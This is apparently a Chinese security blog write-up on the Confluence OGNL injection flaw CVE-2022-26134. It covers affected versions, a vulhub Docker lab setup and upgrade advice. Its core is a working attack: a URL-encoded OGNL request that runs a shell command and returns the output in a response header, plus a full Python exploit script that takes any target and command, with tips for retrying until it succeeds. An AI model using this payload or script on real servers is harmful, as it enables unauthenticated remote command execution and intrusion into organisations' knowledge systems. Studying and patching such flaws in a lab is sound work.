0x00 漏洞概述
Atlassian Confluence Server and Data Center
是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki、团队成员之间的协作和知识共享库,由java语言开发。用于团队成员之间的协作和知识共享,主要部署在内网,所以互联网上分布较少,主要集中在美国、德国和荷兰。
可以说很多企业都在用Gitlab
来管理代码和开发事宜;而构建知识库可以用confluence
。
2022年6月4日,Atlassian
官方发布了Confluence OGNL
注入漏洞的风险通告,漏洞编号为CVE-2022-26134,漏洞等级:严重,漏洞评分:9.8。
0x01 漏洞范围
Atlassian Confluence Server and Data Center < 7.4.17
7.5.0 ≤ Atlassian Confluence Server and Data Center < 7.13.7
7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3
7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2
7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4
7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4
7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1
0x02 环境搭建
docker安装和源码安装不太建议,除非是企业要求,因为过程极其复杂。这里直接用vulhub的漏洞环境搭建Confluence Server 7.13.6
了。
1、新建一个docker-compose.yml
文件如下,随后docker-compose up -d
启动即可。
如果端口冲突,可以vim docker-compose.yml
来修改映射出来的端口号。
version: '2'
services:
web:
image: vulhub/confluence:7.13.6
ports:
- "8090:8090"
depends_on:
- db
db:
image: postgres:12.8-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
2、随后访问http://ip:8090
,点击这个Get an evaluation license
,申请一个试用的序列号。
3、我这里用的谷歌账号。
4、默认会选择右边的Confluence(Data Center)
,然后下面一定要选择up and running
,随后生成序列号。
5、随后就能看到序列号帮我们填写好了,点击继续即可。
6、选择第一个Standalone
,点击下一步就行。
7、大家最好按照下图配置,严格按照docker-compose.yml
内容进行配置,不然无法成功。测试连接Test connection
成功之后点击下一步,会开始配置PostgreSQL
。需要大概几分钟时间,建议去上个厕所,喝杯水,起来做几个蹲起再来看,提高时间密度。
9、随后安装完成后就是这个页面,随后点击Example Site
。
10、接下来点击下图此处
11、配置系统管理员账户,账号名字啥的随便填写。
12、至此,环境搭建成功。
0x03 手动复现
首页抓包,随后改成下面这段请求包,发送过去即可看到命令注入成功。当然也可以直接在repeater中放入下段数据包,只不过需要填写目标。
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.31.84:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
其中使用到的OGNL表达式为:
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
0x04 EXP编写
EXP地址:https://github.com/crowsec-edtech/CVE-2022-26134/
import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
def check(host):
r = requests.get(host+"/login.action", verify=False)
if(r.status_code == 200):
filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
if(len(filter_version)>=1):
version = filter_version[0].split("'>")[1].split('</')[0]
return version
else:
return False
else:
return host
def exploit(host, command):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
}
r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(r.status_code == 302):
return r.headers['X-Cmd-Response']
else:
return False
if(len(sys.argv) < 3):
print("USE: python3 " + sys.argv[0] + " https://target.com cmd")
print("ex: python3 " + sys.argv[0] + " https://target.com id")
else:
target = sys.argv[1]
cmd = sys.argv[2]
version = check(target)
print("============ GET Confluence Version ============")
if(version):
print("Version: " + version)
else:
print("Version: Not Found")
print(exploit(target, cmd))
exp解析
整体三大部分,利用了python经典的bs4
、requests
、re
库。
1、检查目标是否存在漏洞,不存在则break
;若存在进入第二步
2、第二步为漏洞利用,即发送带有命令执行的数据包,这里再次判断是否存在漏洞,即判断响应码是否为302。
3、第三步处理返回包,利用re库正则匹配出返回包X-Cmd-Response
字段的结果。
exp优化建议
时间紧张就不写了,有时间练练手,说一下我对此exp的优化建议:
1、复现过程中,存在错误的情况,可以隔5秒发包1次,for
循环重复3-5次,取最后的结果,就像msf
的永恒之蓝一样,攻击三次,直到成功为止。
2、可以用bp
的插件来直接获取请求包的写法。
0x05修复建议
对 Confluence 组件进行集中升级到安全版本 ,下载地址为: https://www.atlassian.com/software/confluence/download-archives
0x06 References
https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
https://github.com/vulhub/vulhub/blob/master/confluence/CVE-2019-3396/README.zh-cn.md
https://github.com/crowsec-edtech/CVE-2022-26134/
原文始发于微信公众号(HACK技术沉淀营):CVE-2022-26134 Confluence OGNL表达式注入命令执行漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论